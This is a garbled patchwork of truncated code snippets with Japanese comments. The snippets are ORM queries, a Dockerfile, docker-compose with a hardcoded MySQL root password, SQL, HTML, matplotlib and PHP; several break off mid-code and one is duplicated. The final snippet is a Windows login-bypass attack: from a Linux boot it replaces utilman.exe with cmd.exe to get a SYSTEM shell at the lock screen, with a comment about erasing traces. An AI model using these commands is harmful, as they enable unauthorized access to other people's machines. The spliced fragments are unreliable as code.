db.where("countrycode = ?", "?").Find(&countries)// Laravel などのEloquent
App\Countries::where('countrycode', ?);| FROM centos | |
| MAINTAINER yourname | |
| RUN yum -y install httpd | |
| RUN yum clean all | |
| RUN sed -i -e \ | |
| "s/#ServerName www\.example\.com:80/ServerName www.example.com:80/" \ | |
| /etc/httpd/conf/httpd.conf |
| package main | |
| import ( | |
| "fmt" | |
| "io" | |
| "net/http" | |
| ) | |
| func main() { | |
| //GETでアクセスし、データを取得する |
| mysql: | |
| image: mysql:5.7 | |
| environment: | |
| MYSQL_ROOT_PASSWORD: P@ssw0rd | |
| wordpress: | |
| image: wordpress | |
| links: | |
| - mysql:mysql | |
| ports: | |
| - "8888:80" |
db.where("countrycode = ?", "?").Find(&countries)// Laravel などのEloquent
App\Countries::where('countrycode', ?);| grant [権限名] | |
| on [スキーマ名].[テーブル名] | |
| to [ユーザ名] |
| create table fruit2(id serial,name bytea); --bytea型はバイナリ型 | |
| /* データを fruit から fruit2 にコピーして、表示してみます。*/ | |
| select * from fruit2; | |
| id | name | |
| ----+---------------- | |
| 1 | \x6170706c65 | |
| 2 | \x6f7261676e65 | |
| 3 | \x7065616368 |
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <meta charset="utf-8"> | |
| <title>HTML5 audio</title> | |
| </head> | |
| <body> | |
| <audio controls> | |
| <source src="[ファイルパス/ファイル名]" type="audio/mpeg" /> | |
| <p>Your device does not support HTML5 audio.</p> |
| # 箱ひげ図の描画 | |
| # 品種ごとに萼片の長さを見比べる | |
| data = [setosa.SepalLength, versicolor.SepalLength, virginica.SepalLength] | |
| plt.boxplot(data) # 箱ひげ図の描画 boxplot() | |
| plt.xlabel("Class") # x軸名 | |
| plt.ylabel("SepalLength") # y軸名 | |
| # 各品種のラベル | |
| plt.setp(plt.gca(), xlabel=["setosa", "versicolor", "virginica"]) # ラベル付けは setp() | |
| plt.show() |
| <?php | |
| class Person { | |
| private $name; // instance field | |
| public function setName($name) { // instance method | |
| $this->name = $name; | |
| } | |
| public function getName() { // instance method | |
| return $this->name; |
| sudo su | |
| mount /dev/sda2 /mnt/ #sda2 は c:\Windows ディスク | |
| cd /mnt/Windows/System32 #Windowsのディレクトリに移動 | |
| mv Utilman.exe Utiltman.exe.org #痕跡を消す | |
| cp cmd.exe utilman.exe #cmd.exe を utilman.exe にコピー | |
| cd / | |
| umount /mnt #ディスクを切り替え | |
| poweroff |